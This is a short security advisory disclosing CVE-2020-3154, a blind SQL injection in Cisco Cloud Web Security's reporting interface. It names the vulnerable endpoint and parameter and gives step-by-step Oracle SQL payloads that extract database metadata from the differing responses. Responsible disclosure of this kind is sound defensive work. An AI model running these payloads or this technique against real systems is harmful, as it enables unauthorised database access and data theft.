Cisco CWS – SQL Injection

Security Advisory

Date 18/04/2020

Version: 0.1

Table of Contents

1. Background

1.1. Introduction

A SQL Injection vulnerability was identified within the Cisco Cloud Web Security (CWS) web application (CVE-2020-3154). The vulnerability allows an authenticated, remote attacker to execute arbitrary SQL queries.

The vulnerability exists because the web-based management interface improperly validates SQL values. If exploited an attacker could extract or modify values stored in the underlying database.

1.2. Product

The Cisco CWS solution, previously known as Cisco ScanSafe, provides remote worker VPN access to a cloud-based proxy server which performs web filtering and reporting functionality. The web-filtering service in Cisco CWS creates, enforces, and monitors web usage policies by applying real-time, rule-based filters and checking an up-to-date and accurate database for categorizing websites.

1.3. Affected versions

The issue in this advisory was identified in the cloud-based solution. The version information was unknown.

1.4. Disclosure Timeline

30 June 2019	Identified the issues and informed our customer.
12 December 2019	CVE assigned (CVE-2020-3154).
19 February 2020	Advisory published.

2. Technical Findings

2.1. SQL Injection can lead to data retrieval

A Boolean-based blind SQL Injection vulnerability was found in the web UI of Cisco Cloud Web Security (CWS), which could allow an authenticated, remote attacker to execute arbitrary SQL queries and access the contents of the database.

The injection point is the **blockType** query parameter when the value of the **dashboard** parameter is **topGroupsByBlocks.** The entire vulnerable endpoint is shown below:

https://scancenter.scansafe.com/portal/reporting/aggregatedDashboardData.controller?dashboard=topGroupsByBlocks&blockType=<payload>

Reproduction:

1. Convert the following payload into the URL encoded format and use it as the value of the blockType parameter:
   (CASE WHEN (ASCII(SUBSTRC((SELECT NVL(CAST(LENGTH(TABLE_NAME) AS VARCHAR(4000)),CHR(32)) FROM (SELECT TABLE_NAME,ROWNUM AS LIMIT FROM SYS.ALL_TABLES WHERE OWNER=CHR(68)||CHR(66)||CHR(79)||CHR(95)||CHR(83)||CHR(51)) WHERE LIMIT=178),1,1))>48) THEN 123 ELSE 123*(SELECT 123 FROM DUAL UNION SELECT 321 FROM DUAL) END)

2. Observe an empty list [] returned.

3. Convert the following payload into the URL encoded format and use it as the value of the blockType parameter:
   (CASE WHEN (ASCII(SUBSTRC((SELECT NVL(CAST(LENGTH(TABLE_NAME) AS VARCHAR(4000)),CHR(32)) FROM (SELECT TABLE_NAME,ROWNUM AS LIMIT FROM SYS.ALL_TABLES WHERE OWNER=CHR(68)||CHR(66)||CHR(79)||CHR(95)||CHR(83)||CHR(51)) WHERE LIMIT=178),1,1))>49) THEN 123 ELSE 123*(SELECT 123 FROM DUAL UNION SELECT 321 FROM DUAL) END)

4. Observe an error message returned.

5. The different response shows that the first digit of the length of the table name of the 178th record in the SYS.ALL_TABLES table of the DBO_S3 database is 1.

ZX Security Limited

Level 7, 187 Featherston St

Wellington, New Zealand